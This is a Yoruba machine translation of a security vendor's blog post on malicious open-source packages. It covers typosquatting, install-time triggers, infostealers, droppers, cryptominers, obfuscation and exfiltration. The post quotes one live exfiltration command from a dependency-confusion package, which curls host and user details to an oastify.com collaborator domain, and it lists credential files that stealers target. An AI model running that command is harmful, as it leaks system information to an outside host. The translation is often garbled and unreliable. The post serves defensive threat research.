Àwọn Àpò Ìkà 5

Ìṣẹ̀dá Àwọn Àpò Ìbàjẹ́: Kí Ni Àwọn Ìṣẹ̀lẹ̀?

Ninu isele iṣaaju, Àwọn Àpò Ìkà Tí Ó Ṣí Sílẹ̀: Ìṣòro Náà, a jíròrò ìdí tí àwọn olùṣe ewu náà fi jẹ́ bẹ́ẹ̀ Ìtara láti tẹ̀ àwọn èròjà ìbàjẹ́ tuntun jáde tàbí láti fi malware sínú àwọn ẹ̀yà tuntun ti àwọn èròjà tó wà: Ìpèsè orísun ṣíṣí sílẹ̀ ń fún ẹnikẹ́ni ní àǹfààní láti ṣẹ̀dá àkọọ́lẹ̀ onígbà díẹ̀ nínú ìforúkọsílẹ̀ ìpín (bíi NPM, PyPI, Docker Hub tàbí Visual Studio Marketplace) tàbí ìpìlẹ̀ ìdàgbàsókè ìfọwọ́sowọ́pọ̀ (bíi GitHub). Kò sí owó tí ó ná, àti ọ̀pọ̀lọpọ̀ àǹfààní láti lo ìgbẹ́kẹ̀lé tí ó pọ̀ jù tí àwọn ẹgbẹ́ sọ́fítíwè ní lórí àwọn ẹ̀yà ẹni-kẹta. 

Àìdọ́gba láàárín bí ó ṣe rọrùn tó fún àwọn olùkọlù láti pín malware nípa lílo àwọn ètò ìṣiṣẹ́ tó wà fún orísun ṣíṣí sílẹ̀, àti bí ó ṣe ṣòro tó fún àwọn àjọ tó ń ṣe àgbékalẹ̀ software (gbogbo ènìyàn?) láti yẹra fún kíkó àrùn malware (àti láti fi malware ránṣẹ́ nínú software tí wọ́n ń pín fún àwọn ẹlòmíràn), ló mú kí àwọn package búburú tó fẹ́rẹ̀ẹ́ dé ní ọdún tó kọjá jẹ́ mílíọ̀nù mẹ́rin. 

Iṣoro yii tobi tobẹẹ ti ko si ajọ kan ti o le yanju rẹ, ati pe agbegbe naa wa ninu ilana atunṣe ilana orisun ṣiṣi nipa igbẹkẹle, awọn ilana aabo-nipasẹ-aiyipada ati aabo-nipasẹ-apẹrẹ, ati iyipo igbesi aye ti awọn paati. A yoo wo awọn imọran bẹẹ ni apakan ti nbọ. Dídáàbòbò sí Àwọn Àpò Ìkà Tí Ó Ṣí Sílẹ̀: Kí Ni (Kò Ṣiṣẹ́).

Ranti pe a n sọrọ nipa awọn paati sọfitiwia ti o jẹ deede julọ nigbagbogbo si awọn idii sọfitiwia: àwọn èròjà tí a lè tún lò tí a kó jọ kí a lè tọ́ka sí wọn gẹ́gẹ́ bí ìgbẹ́kẹ̀lé nínú ìwé àfọwọ́kọ sọ́fítíwè, kí a sì fi wọ́n sí orí ẹ̀rọ olùṣàkóso package tàbí irinṣẹ́ ìkọ́lé. Jọ̀wọ́ ẹ kíyèsí pé a lè fẹ̀ sí i láti fi kún gbogbo ènìyàn. eiyan images (tí àwọn àkókò ìṣiṣẹ́ àpótí àti àwọn ìpèsè ẹgbẹ́ orin bíi Kubernetes lò), àti awọn amugbooro si awọn irinṣẹ sọfitiwia (fún kíkọ́lé, ìdáṣiṣẹ́, àti ìfiránṣẹ́). 

Nibi a ṣe itupalẹ bi eyi ṣe le ṣe ọgbọn ikọlu ti o da lori awọn eroja irira iṣẹ́, gẹ́gẹ́ bí àpẹẹrẹ àtijọ́ àti ohun tí a ti rí nínú ìtàkùn wa fún Ìkìlọ̀ Àkọ́kọ́ Malware (MEW). A ó tú àwọn ẹ̀yà ara búburú sí oríṣiríṣi ìrísí: 

(1) ọ̀nà tí a yàn fún pípínkiri (ìforúkọsílẹ̀ tí a lò, nínú ẹ̀yà tuntun tàbí èyí tí ó wà tẹ́lẹ̀, àti ọ̀nà tí a lò láti fi kó àkóràn bá ẹ̀yà ẹ̀yà tí a tẹ̀ jáde), (2) bí a ṣe ń lo malware tàbí bí a ṣe ń fa á, (3) ìwà búburú náà, ìyẹn àwọn ìṣe búburú tí a ń rí àti èyí tí ó jẹ́ ìdí fún olùkọlù náà, (4) àwọn ọ̀nà wo ni ó wọ́pọ̀ fún ìbòjú, fífi ara pamọ́ fún àìríran, ìṣípopo ẹ̀gbẹ́, ìbánisọ̀rọ̀ pẹ̀lú àwọn olùgbàlejò àṣẹ àti ìṣàkóso (C2), àti bẹ́ẹ̀ bẹ́ẹ̀ lọ; àti (5) àwọn ọ̀nà láti gbajúmọ̀ àti ìgbẹ́kẹ̀lé tó tó kí àwọn olùfaragbá lè fi ẹ̀rọ náà sí ipò.

Ọ̀nà Pínpín Tí A Yàn

A ṣe akiyesi “ariwo isale"ti àwọn àpò ìbàjẹ́ tí kò ní ìmọ̀ nípa lílo ìkọ̀wé ìkọ̀wé láti fi àwọn olùgbékalẹ̀ tí kò mọ̀ nípa ìkọ̀wé ìkọ̀wé kọ̀ǹpútà tí wọ́n ní àṣìṣe nínú orúkọ àpò náà fún ìgbẹ́kẹ̀lé wọn. Ọ̀pọ̀lọpọ̀ àwọn àpò tí ó gbajúmọ̀ gba ọ̀pọ̀lọpọ̀ àwọn àpò tí a pè ní orúkọ kan náà pẹ̀lú àṣìṣe ìkọ̀wé, pẹ̀lú ìrètí pé wọn yóò fi àwọn olùgbékalẹ̀ tí kò mọ̀ nípa ìkọ̀wé kọ̀ǹpútà kan hàn." 

Wọ́n máa ń lo àkọọ́lẹ̀ onígbà díẹ̀, wọ́n máa ń tẹ àkójọ àwọn ìdìpọ̀ àṣìṣe, wọ́n máa ń ṣẹ̀dá òmíràn, wọ́n sì máa ń tẹ̀ ẹgbẹ́ mìíràn jáde… Nípa lílo àdánidá àti ọgbọ́n, wọ́n lè ní ìmọ̀ díẹ̀, ṣùgbọ́n wọ́n sábà máa ń jẹ́ ohun tí kò ṣe pàtàkì. A máa ń pè wọ́n ní “anchovies"Olè ìwé ẹ̀rí ni ibi-afẹ́de pàtàkì, ṣùgbọ́n nígbà míìrán a máa ń rí àwọn ohun èlò ìwádìí tí ń yọ àmì-ẹ̀rí kúrò nínú àwọn ohun èlò ìwádìí tàbí àwọn ohun èlò ìwádìí bíi ìwífún tí a lè dámọ̀ràn fún ẹni kọ̀ọ̀kan (PII), gbígbà àtẹ ìkọ̀wé, àti àwọn ohun míìrán tí kò dáa.

Bí a ṣe ń yọjú síta, a rí àwọn èròjà ìkà tó túbọ̀ gbòòrò sí i, àwọn “ẹja ẹja”. Àwọn díẹ̀ ni a fojú sí àwọn ẹgbẹ́ tàbí àjọ pàtó kan, tí wọ́n sábà máa ń lo àwọn ẹ̀rọ ìfọ́mọ́ra crypto tàbí àwọn ẹ̀rọ ìfọ́mọ́ra wẹ́ẹ̀bù tí a ń ṣiṣẹ́ ní ipò kan, bóyá ní títẹ̀lé ọ̀nà tí a rí nínú ìwé ìròyìn náà. ìṣẹ̀lẹ̀ ìṣirò-ìṣẹ̀lẹ̀ ti yíyọ ìkọlù náà kúrò nìkan nígbà tí a bá tọ́ka sí àpò náà láti inú àpò ìfojúsùn kan. 

A ṣe àgbéyẹ̀wò ọ̀nà ìpínkiri náà nínú ìwé tó dára jùlọ tí ó sì ti wà ní ìsinsìnyìí, “Àkójọ Ọ̀bẹ Backstabber: Àtúnyẹ̀wò Àwọn Ìkọlù Ẹ̀rọ Ìpèsè Ẹ̀rọ Ìṣípààrọ̀ Ojúsun", èyí tí ó jẹ́ ohun tí a gbọ́dọ̀ kà. Dájúdájú o ti rí àtẹ àwòrán dídára yìí tẹ́lẹ̀: 

irira jo

A ṣe àwárí gbogbo ọ̀nà, títí kan àwọn àpò tuntun àti èyí tó wà tẹ́lẹ̀; tó ní ipa lórí kódì orísun, ètò ìkọ́lé, tàbí ẹ̀yà ara tí a kó sínú àpótí náà fúnra rẹ̀; nípa lílo àwọn ìwé ẹ̀rí tí a jí tàbí ìmọ̀ ẹ̀rọ àwùjọ; jíjí àwọn àkọọ́lẹ̀ àti ibi ìkópamọ́ tí a ti kọ̀ sílẹ̀ tàbí fífi oògùn pa àwọn tí a ti tọ́jú. Àwọn ìkọlù kan gba orúkọ (Ipilẹṣẹ, Ìdàrúdàpọ̀ ìgbẹ́kẹ̀lé, Ìdàrúdàpọ̀ Pàtàkì, Repo-jacking. àti bẹ́ẹ̀ bẹ́ẹ̀ lọ) a sì ti jíròrò rẹ̀ níbòmíràn. 

Àwọn ilé ìforúkọsílẹ̀ tí a yàn ńkọ́?

NPM ń tẹ̀síwájú láti jẹ́ olórí nínú iye gbogbo àwọn ìdìpọ̀ ìbàjẹ́, ṣùgbọ́n a rí ìbísí kan láti ọdún yìí lórí PyPI. Python jẹ́ ètò ìṣẹ̀dá tí ó gbajúmọ̀ fún ìmọ̀ ìjìnlẹ̀ dátà àti ẹ̀kọ́ ẹ̀rọ. Ní tòótọ́, ìwọ̀n malware ti ga jù ní PyPI ju ti NPM lọ báyìí. 

Bii a ṣe n ṣe ifilọlẹ malware

Àwọn ìdìpọ̀ ibi ni a máa ń fa nígbà tí a bá ń fi sori ẹrọ ní ìgbà mẹ́rin nínú mẹ́wàá (ní àwọn ọdún àìpẹ́ yìí, ó fẹ́rẹ̀ẹ́ tó 6 nínú 10). Àwọn tó kù máa ń hùwà burúkú nígbà tí wọ́n bá ń ṣiṣẹ́, pẹ̀lú 1 nínú 100 tí a máa ń ṣe nígbà tí a bá ń ṣe àwọn ìdánwò. Ó dà bíi pé àwọn ọ̀tá mọ̀ pé a ti pa iṣẹ́ ìkọ̀wé ìfisẹ́lẹ̀ tí a kò ṣàkóso ní ọ̀pọ̀lọpọ̀ ibi.

Kí ni àwọn ènìyàn búburú ń rí gbà?

A ó ṣe àkójọ àwọn ẹ̀ka ìwà búburú náà, pẹ̀lú àwọn tó gbajúmọ̀ jùlọ ní àkọ́kọ́. Jọ̀wọ́ ẹ kíyèsí pé ipa náà lè yàtọ̀ pátápátá: wiper Ó jẹ́ apanirun líle koko, ṣùgbọ́n kò wọ́pọ̀, a sì rí i ní àwọn ìgbà díẹ̀ péré, tí ó ní í ṣe pẹ̀lú àwọn ìpolongo ogun lórí íńtánẹ́ẹ̀tì tàbí ìkọlù oníwà ipá. Àwọn ẹ̀ka wọ̀nyí wọ́pọ̀ gan-an:

  • InfoStealer / Awọn iwe eri Drainer. Ní gbogbogbòò, ó lé ní 90% àwọn ìkọlù tí kò rọrùn ni àwọn olè tí wọ́n ń wá àwọn ìwé ẹ̀rí bíi ọ̀rọ̀ìpamọ́, àmì ìwọ̀lé, àwọn kọ́kọ́rọ́ API, àti àwọn kọ́kọ́rọ́ ìkọ̀kọ̀ (fún SSH àti irú wọn). Ó ṣeé ṣe kí ó jẹ́ èyí tí ó rọrùn jùlọ láti kọ (pẹ̀lú àwọn wipers?). Wọ́n ń ka àwọn fáìlì/ìtọ́sọ́nà tí a mọ̀ àti àwọn orísun mìíràn (fún àpẹẹrẹ àwọn kọ́kọ́rọ́ ìforúkọsílẹ̀), wọ́n ń kó àwọn ohun tí ó wà nínú rẹ̀ jọ, wọ́n sì ń fi dátà náà ránṣẹ́ sí olupin C2 kan. Èrò náà rọrùn: “Mo ń tẹ ìtajà kan jáde fún ìwé ẹ̀rí ìfiranṣẹ́, nítorí náà mo lè lo ìwé ẹ̀rí náà fún ṣíṣe ìkọlù tí a darí nígbà tó bá yá”. 

Nẹ́tíwọ́ọ̀kì C2 tí a ṣàkíyèsí sábà máa ń jẹ́ èyí tí kò wúlò, bí àwọn ikanni Telegram tàbí Àwọn irinṣẹ́ ọ̀nà ìṣàn omi bíi ti ngrok (nígbà gbogbo ní ìrísí àwọn proxies reverse tí a fi hàn nípasẹ̀ àwọn IP VPN egress). Ọgọ́rọ̀ọ̀rún (!) àwọn àǹfààní ló wà, pẹ̀lú ọ̀pọ̀lọpọ̀ àwọn iṣẹ́ àgbékalẹ̀ GitHub lábẹ́ koko ọrọ-olè-ọ̀rọ̀-àkọọ́lẹ̀Àwọn iṣẹ́ àkànṣe bíi keyloggers kò wọ́pọ̀ fún àwọn àkójọ ìbàjẹ́ àti àwòrán àpótí, ṣùgbọ́n wọ́n sábà máa ń wáyé ní àwọn ìfàgùn irinṣẹ́, níbi tí a ti ń retí ìbáṣepọ̀ pẹ̀lú olùlò.

  • Dípò / Olùgbàsílẹ̀Èkejì tí ó gbajúmọ̀, tí ó sábà máa ń jẹ́ àkọ́kọ́ nínú àwọn ìkọlù onípele púpọ̀. Ju ọ̀kan lọ nínú mẹ́ta àwọn ẹ̀yà búburú ní àwọn droppers (tí ẹrù ìpalára bá wà nínú àpò náà) tàbí àwọn downloaders (a gba ẹrù ìpalára náà láti orí ìsàlẹ̀ lábẹ́ ìdarí olùkọlù náà). Ìpalára náà sábà máa ń jẹ́ ìyàtọ̀ malware binary tí a mọ̀, ó sì máa ń ṣiṣẹ́, ó sì máa ń wà níbẹ̀ nígbà míì, fún fífi àwọn ilẹ̀kùn ẹ̀yìn, spyware, crypto drainers, àti àwọn ọ̀ràn lílo mìíràn sí i. Ìpalára tí a gbà sílẹ̀ tàbí tí a gbé kalẹ̀ bẹ̀rẹ̀ ìkọlù ìpele kejì pẹ̀lú gbogbo agbára tí àwọn binary malware binary tí ó wà nílẹ̀ pèsè. A lè pín àwọn binary náà sínú àpò náà, tí a sábà máa ń fi bò ó gẹ́gẹ́ bí àwòrán tàbí irú fáìlì tí kò léwu, láti yẹra fún wíwá nígbà tí a bá ń sopọ̀ mọ́ àwọn ojú-òpó wẹ́ẹ̀bù tí a kò retí. 
  • Àwọn Olùjí owó kirikiri / Àwọn OlùwakùsàÀwọn ọ̀tá tí wọ́n ní ìfẹ́ owó múra tán láti lo àwọn ohun ìní ìkùukùu rẹ fún ṣíṣiṣẹ́ àwọn olùṣe ìkọ́ǹpútà (wọ́n tilẹ̀ máa ń rí i bóyá wọ́n ń ṣiṣẹ́ nínú ìkùukùu VM). Wọn kò bìkítà nípa ipin èrè kekere ti $1 fun gbogbo $53 ti a gba fun ẹni ti o ji fun eto amayederun awọsanma ti a ji. Awọn olufaragba le ma mọ eyi titi ti wọn yoo fi gba owo ti a ko reti. O ṣeun, eyi n lọ ati pe o n lọ. Cryptojacking Àwọn ìpolówó nínú àwọn àpò ìkà máa ń yọ jáde lẹ́ẹ̀kọ̀ọ̀kan, lẹ́yìn náà wọ́n á parẹ́, wọ́n á máa fi ààmì-ìkọ̀kọ̀ fún àwọn olùlò àpò tàbí kí wọ́n máa fojú sí olùpèsè àpò, gẹ́gẹ́ bí ó ti wà nínú Ikọlu Ledger.   

Àwọn ìwà míràn, bíi fífi ohun kan ita gbangba fún ṣíṣe kódì láti ọ̀nà jíjìn nípa ṣíṣí ikarahun ìyípadà kò sábà máa ń wáyé báyìí ju ti àtijọ́ lọ. Fún àpẹẹrẹ, 123rf_contributor_web package (ti a ti yọ kuro ninu iforukọsilẹ bayi) ṣii laisi eyikeyi obfuscation ikarahun iyipada ti a daakọ ati lẹẹmọ lati inu Ìyípadà ikarahun iyanjẹ dì:

Àwọn àpò ìbàjẹ́ 2
Àwọn irú àwọn ìdìpọ̀ búburú ni a rí ní ọ̀sẹ̀ 24-30 Okudu kẹfà ọdún 2024.

Ní àfikún sí àwọn ohun tó tọ́ àti èyí tó burú, a ti kíyèsí ọ̀pọ̀lọpọ̀ ìlòkulò, títí bíi:

Àwọn àpò ìfọ̀rọ̀wérọ̀ àwúrúju

Ẹgbẹẹgbẹ̀rún àwọn àpò kékeré ló wà, pàápàá jùlọ ní NPM, láìsí malware ṣùgbọ́n wọ́n ń rí èrè tó rọrùn gbà, epo ejò, àwọn ìjápọ̀ sí àwọn ìfilọ́lẹ̀ Viagra, àti gbogbo nǹkan bẹ́ẹ̀. Àwọn olùlò díẹ̀ kan ń tẹ irú spam bẹ́ẹ̀ jáde wọ́n sì ń gba ọ̀pọ̀lọpọ̀ bandwidth láti inú ìforúkọsílẹ̀ náà. Òṣèré mìíràn tó ṣeé ṣe kó wá láti Indonesia gbìyànjú láti rí èrè gbà nípasẹ̀ ilokulo tiiRank A ṣe é fún ìsanpadà fún àwọn olùgbékalẹ̀ orísun ṣíṣí, nípa ṣíṣẹ̀dá ẹgbẹẹgbẹ̀rún àwọn páálí NPM tí ó jọra pẹ̀lú àwọn ibi ìpamọ́ GitHub dummy tí ó jọra. Èyí jẹ́ ìrúfin tí ó hàn gbangba sí àwọn òfin lílò.

Àwọn ẹ̀tàn ìwádìí ààbò àti àwọn àṣìṣe kòkòrò

 Nígbà tí àpò kan bá ṣàpèjúwe ara rẹ̀ gẹ́gẹ́ bí ìtújáde dátà fún àwọn ète rere, bíi wíwá àwọn àléébù ààbò fún àwọn ètò ìsanwó kòkòrò tàbí ṣíṣe ìwádìí lórí àwọn apá kan nínú ètò àyíká. A ti rí ẹgbẹẹgbẹ̀rún àwọn àpò nínú ẹ̀ka yìí, tí wọ́n ń gba ìdámọ̀ ṣùgbọ́n tí kò ní ìpamọ́ jù sí àdírẹ́sì Burp Collaborator láti PortSwigger (fún àpẹẹrẹ host ní agbègbè oastify.com). A sábà máa ń rí àwọn àdàkọ ti Ìdàrúdàpọ̀ ìgbẹ́kẹ̀lé ẹ̀rí-èrò láti ọwọ́ Alex Birsan, gẹ́gẹ́ bí aurora-webmail-pro package (ti a yọ kuro ninu iforukọsilẹ), eyiti o kan ṣiṣẹ koodu buburu yii ni iwe afọwọkọ ti a ti fi sii tẹlẹ:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

Ati pe o tun wa pẹlu “Ẹ̀rí Ìdàrúdàpọ̀ Ìgbẹ́kẹ̀lé Rọrùn ni èyí jẹ́ fún Ìkọ́lù Ìgbẹ́kẹ̀lé"Àpèjúwe ìkìlọ̀ nínú package.jsonÈyí jẹ́ ìrúfin tó ṣe kedere sí àwọn òfin iṣẹ́ náà, kódà láìsí èrò búburú. 

Àwọn ìròyìn ayọ̀ díẹ̀ ni? A kò tíì rí (ìyẹn) àwọn ìkọlù ransomware tí a fi ránṣẹ́ nípasẹ̀ àwọn èròjà búburú. Fún àwọn ìdí tí a kò mọ̀, ó dà bíi pé àwọn ọ̀daràn oní-nọ́ńbà ayélujára fẹ́ràn àwọn ọ̀nà ìfiranṣẹ́ ìmeeli ìbílẹ̀, ti RDP, àti àwọn ọ̀nà ìfiranṣẹ́ ìwakọ̀ nípasẹ̀ ìwakọ̀. 

Àwọn Ìmọ̀-ẹ̀rọ Afikún Tí A Ṣàkíyèsí 

Àwọn àpò ìbàjẹ́ 3

Ọpọlọpọ awọn ọna ni a lo fun idaduro, isare aabo, gbigba alaye, ibaraẹnisọrọ pẹlu awọn alaṣẹ aṣẹ ati iṣakoso, ati imukuro. 

itẹramọṣẹ nínú àwọn èròjà ìpalára ni a ń rí nípa lílo àwọn ẹ̀yà ara ìdúróṣinṣin nínú malware onípele kejì, ṣùgbọ́n nígbà míìrán ìwà náà wà nínú kódì package, pẹ̀lú àwọn iṣẹ́ tí a ṣètò àti àwọn àyípadà nínú ìforúkọsílẹ̀ Windows tí ó wọ́pọ̀ jùlọ. 

Obfuscation Ó wọ́pọ̀, ṣùgbọ́n kò ní ìmọ̀. Ọ̀pọ̀lọpọ̀ àwọn àpò ìkọ̀wé tí ń yípadà (rántí “anchovies“”?) kìí lo ìdènà rárá; ọ̀pọ̀ lo àwọn tí kò ṣe pàtàkì (base64/hex encoding tàbí substitution ciphers bíi rot13) tàbí kí wọ́n lo àwọn kódù ìdènà àti ìdènà, èyí tí a lè yí padà pẹ̀lú irinṣẹ́ tó tọ́. Àwọn “yank” nìkan ló ń ṣe gidi, líle, ìdènà, àti onímọ̀ ẹ̀rọ tó ṣòro láti yí padà.

Ìbòmọ́lẹ̀ lè fi ìkọlù náà pamọ́, ṣùgbọ́n kí ló dé tí a ó fi fi àmì ìkọ̀kọ̀ sínú ẹ̀yà orísun ṣíṣí sílẹ̀ hàn? Ǹjẹ́ ẹ̀rí wà pé ohun kan gbọ́dọ̀ fara pamọ́ kúrò lójú ìran? A ti rí ọ̀pọ̀lọpọ̀ àpẹẹrẹ àwọn àpò tí kì í ṣe ibi tí ó ń lo ìbòmọ́lẹ̀ láti dáàbò bo ohun ìní ọgbọ́n, èyí tí ó lòdì sí “orísun ṣíṣí sílẹ̀”. Ìbòmọ́lẹ̀ lè ṣeé lò gẹ́gẹ́ bí ẹ̀rí ìbòmọ́lẹ̀, ṣùgbọ́n kì í ṣe èyí tí a lè parí èrò sí. Ó tún ṣòro láti mú ìbòmọ́lẹ̀ kúrò. 

Igbala láti ọwọ́ àwọn olùdarí ààbò gba àwọn ọ̀nà tí ó rọrùn. Àkójọ ìbàjẹ́ sábà máa ń wà ní ààbò nínú gbìyànjú ... mú Àwọn ìdènà tí kò fojú fo àwọn ìyàtọ̀ èyíkéyìí, nítorí náà a kò fi iṣẹ́ àìtọ́ hàn nínú àwọn àkọsílẹ̀. Ìfìdíkalẹ̀ àyíká (tí ó ń ṣiṣẹ́ nínú VM tàbí àpótí) ṣọ̀wọ́n, àyàfi tí malware bá ń fojúsùn sí àjọ tàbí àyíká kan pàtó.

Ṣíṣe àfihàn àwọn ẹ̀yà méjì nínú àwọn àwòrán àti fáìlì PDF (irú steganography) jẹ́ ọ̀nà mìíràn tí a rí láti yẹra fún wíwá nǹkan.

Nítorí pé àwọn èròjà ìkà tí ó wọ́pọ̀ jùlọ ni àwọn infostealers, gbigba data Ó ṣe pàtàkì. Àwọn àṣírí (àwọn ọ̀rọ̀ ìpamọ́, àwọn àmì ìwọ̀lé, àwọn kọ́kọ́rọ́ API, àwọn kọ́kọ́rọ́ cryptographic) ni a máa ń ṣe àyẹ̀wò déédéé nínú àwọn fáìlì log, àwọn oníyípadà àyíká, àti kódà ní páálípù (tí a máa ń rí pẹ̀lú àwọn trojans àti crypto stealers). Ìyọkúrò kódì orísun náà tún wọ́pọ̀, nítorí pé fífi àkójọpọ̀ náà sí ipò ìdàgbàsókè níbi tí a ti lè ṣe àdàkọ àwọn ibi ìpamọ́ git inú. A ti rí àwọn páálí tí ń ka àwọn ìwé àkójọpọ̀ ní wíwá àwọn ibi ìpamọ́ git. Wíwá àwọn ibi bíi .env, private.pem, settings.py, app.js, tàbí application.properties wọ́pọ̀ gan-an.

Ìtújáde jẹ́ ìgbésẹ̀ mìíràn tí a gbé kalẹ̀ káàkiri. Àwọn díẹ̀ lára ​​àwọn ìpakúpa búburú ló tilẹ̀ ń gbìyànjú láti fi ibi tí a ti yọ data náà sí pamọ́. àwọn ọ̀nà ìṣàn omi bí ti ngrok a maa n lo wọn nigbagbogbo. Ọpọlọpọ lo wa. àwọn agbègbè tí a ti kọ orúkọ wọn sílẹ̀ fún ìyọkúrò

Àwọn ọ̀nà míràn bíi ìgbéga àǹfààní tàbí ìṣípopadà ẹ̀gbẹ́, kò wọ́pọ̀. 

Jíjẹ́ Gbajúmọ̀ àti Ìgbẹ́kẹ̀lé

Fojú inú wo onímọ̀ ẹ̀rọ kan tó ní ohun búburú tó ti ṣe tán láti pa ènìyàn, tó ń ronú pé: “Báwo ni mo ṣe lè jẹ́ kí àwọn òmùgọ̀ tí kò fura sí yìí ṣeé gbẹ́kẹ̀lé?” 

Iyẹn túmọ̀ sí bí a ṣe lè ṣe àkọsílẹ̀ fún ẹ̀yà búburú láti fi ọ̀pọ̀lọpọ̀ ìràwọ̀/fọ́ọ̀kì hàn (fún gbajúmọ̀), pẹ̀lú àwọn ẹ̀yà/àwọn ìṣòro àti pull requests (fún ìgbòkègbodò). Èrò náà ni láti gbajúmọ̀ àròsọ (àwọn ìràwọ̀) àti àwọn tí ó gbẹ́kẹ̀lé wọn, àti láti rí i dájú nípa ìbáramu àti ìtọ́jú. 

Àkọsílẹ̀ ìforúkọsílẹ̀ kò ṣàyẹ̀wò bóyá àwọn àkóónú inú iṣẹ́ GitHub àti àwọn àkóónú àkóónú náà bá ara wọn mu. Èyí jẹ́ ọ̀ràn tí a mọ̀ dáadáa nínú ẹ̀ka ìpèsè sọ́fítíwètì. Àwọn ìforúkọsílẹ̀ gbogbogbòò jẹ́ àwọn ihò ńláńlá tí wọ́n ń gbé gbogbo ohun tí a bá jù sí wọn mì. O lè so ibi ìpamọ́ èyíkéyìí pọ̀ mọ́ra. 

Àwọn àpò ìbàjẹ́ 4
Pínpín ẹ̀rí nínú àwọn malware tó ṣeéṣe ní ọ̀sẹ̀ 24 sí 30 Okudu kẹfà ọdún 2024.

Tí àpò ìbàjẹ́ náà bá yípadà sí èyí tí ó gbajúmọ̀, ó rọrùn: kan tọ́ka sí ibi ìpamọ́ GitHub tí ó wà nínú àfihàn ìgbẹ́kẹ̀lé tí a lò fún ṣíṣẹ̀dá àpò náà àti títẹ̀ ẹ́ jáde sínú ìforúkọsílẹ̀. Fún àwọn àpò tuntun lórí àpò ìpamọ́ GitHub èké, o lè nílò ọgbọ́n-ẹ̀rọ sí i, bóyá ṣíṣẹ̀dá èké wíwo ìràwọ̀/fọ́fà Àwọn àkọọ́lẹ̀ GitHub nípasẹ̀ ìkọ̀wé.

Tí àkóónú àkóónú rẹ bá jọ ti ibi ìpamọ́, fi àwọn àyípadà díẹ̀ tí a ṣe dáradára síbí àti níbẹ̀… O lè fi malware rẹ sínú àkóónú tuntun kan tí ó jọ ti olókìkí tí ó ń tọ́ka sí ibi ìpamọ́ tí ó wà tẹ́lẹ̀, kí o sì dúró de àṣìṣe náà. Tí ẹnikẹ́ni bá gbìyànjú láti fi àkóónú àkóónú àkóónú àkóónú wé àwọn àkóónú láti ibi ìpamọ́ GitHub, àwọn ìyàtọ̀ tí ó wà ní àwọn ibi ìfúnni malware lè jẹ́ àìròtẹ́lẹ̀. A ti rí ọ̀nà yìí ní ọ̀pọ̀ ìgbà tẹ́lẹ̀. 

Ọ̀nà kan tí a lè gbà ṣe àlàyé nípa ibi tí a ti wá, bí a ṣe kọ́ àpò náà, láti orísun wo, àti láti ọwọ́ ẹni tí a óò gbà. Ṣùgbọ́n ìtàn mìíràn nìyẹn. 

Ṣé malware tó jẹ́ èròjà X ni?

Ṣé ibi ìkópamọ́ (gbogbo) àwọn àkójọ ìbàjẹ́ wà? Rárá. Àwọn àìlera orísun ṣíṣí ní CVE ID tí a yàn, ṣùgbọ́n àwọn àkójọ ìbàjẹ́ díẹ̀ (pàápàá jùlọ àwọn tí ó ń ṣe àkọlé) ni a fún ní ọ̀kan. CWE fún àwọn àkójọ ìbàjẹ́ ni CWE-506 (kóódù búburú tí a fi sínú rẹ̀). 

Àwọn irinṣẹ́ malware tí a sábà máa ń lò (VirusTotal, MalwareBazaar, SOREL-20M…) kò ṣe àwọn ètò pàtó fún àwọn èròjà búburú. Èyí yóò jẹ́ ìtẹ́wọ́gbà!

Àwọn àpẹẹrẹ ibi ìwádìí àti àwọn ibi ìwádìí wà fún ìwádìí (a máa ń lo díẹ̀ lára ​​wọn), ṣùgbọ́n àwọn ìkọsílẹ̀ ni a máa ń ṣe àtúnṣe nígbà tí a bá mọ àkójọ ìkà náà, èyí tí ó sábà máa ń pẹ́ jù. Tí o bá nífẹ̀ẹ́ sí i, OpenSSF Àwọn Àpò Ìbàjẹ́ ìbẹ̀rẹ̀ rere ni.

Nínú ìfìwéránṣẹ́ tó tẹ̀lé e, a ó jíròrò bí a ṣe lè mọ̀ bóyá àpò kan jẹ́ ibi. Àṣìṣe: bẹ́ẹ̀ ni, àwọn ọ̀nà wà láti ṣàyẹ̀wò àwọn ohun ìbàjẹ́ ní ìbẹ̀rẹ̀ àkókò ìfarahàn, kí ìforúkọsílẹ̀ tó wà níbẹ̀ tó yọ ohun ìbàjẹ́ kan tí a mọ̀ kúrò.

Siwaju kika

Nínú ìṣẹ̀lẹ̀ tó tẹ̀lé e “Dídáàbòbò sí Àwọn Àpò Ìkà Tí Ó Ṣí Sílẹ̀: Kí Ni (Kò Ṣiṣẹ́)" A ó jíròrò àwọn ohun tí a lè ṣe àti èyí tí a kò gbọdọ̀ ṣe fún ààbò orísun gbogbogbò. Ọ̀pọ̀lọpọ̀ àwọn ògbóǹtarìgì tó mọ̀ nípa ààbò ní òye nípa bí wọ́n ṣe lè kojú ewu yìí, àmọ́ àwọn èrò tí kò tọ́ pọ̀. 

A ó ṣe àtúnyẹ̀wò ìdí tí àwọn èrò wọ̀nyí fi jẹ́ àṣìṣe, àti bí irú àwọn èrò àìtọ́ bẹ́ẹ̀ ṣe ń mú kí ọ̀nà ìkọlù yìí gbajúmọ̀ sí i, àti ewu ńlá tí àwọn àjọ ń ní. Lẹ́yìn náà, a ó tẹ̀síwájú pẹ̀lú ohun tí ó ń ṣiṣẹ́, àti èyí tí ó jẹ́ ìsapá àti àwọn ohun èlò tí ó wà nínú rẹ̀. 

Bákan náà, a máa fi ìròyìn nípa ìdàgbàsókè àwọn ìdìpọ̀ búburú nípa èrò wọn, ọ̀nà abẹ́rẹ́, àti àwọn ọ̀nà ìkọlù.

Duro aifwy!

jo

Àwọn Àpò Ìkà Tí Ó Ṣí Sílẹ̀: Ìṣòro Náà

Dídáàbòbò sí àwọn àpò ìkà OSS: Kí ni (kò ṣiṣẹ́)

àwọn irinṣẹ́ ìwádìí-àkójọpọ̀-ẹ̀rọ-sca-tools
Ṣe àfiyèsí, ṣe àtúnṣe, kí o sì dáàbò bo àwọn ewu sọ́fítíwè rẹ
Gba Akaunti Ọfẹ rẹ.
Ko si kaadi kirẹditi ti o nilo.

Ṣe aabo fun idagbasoke ati ifijiṣẹ sọfitiwia rẹ

pẹlu Xygeni Product Suite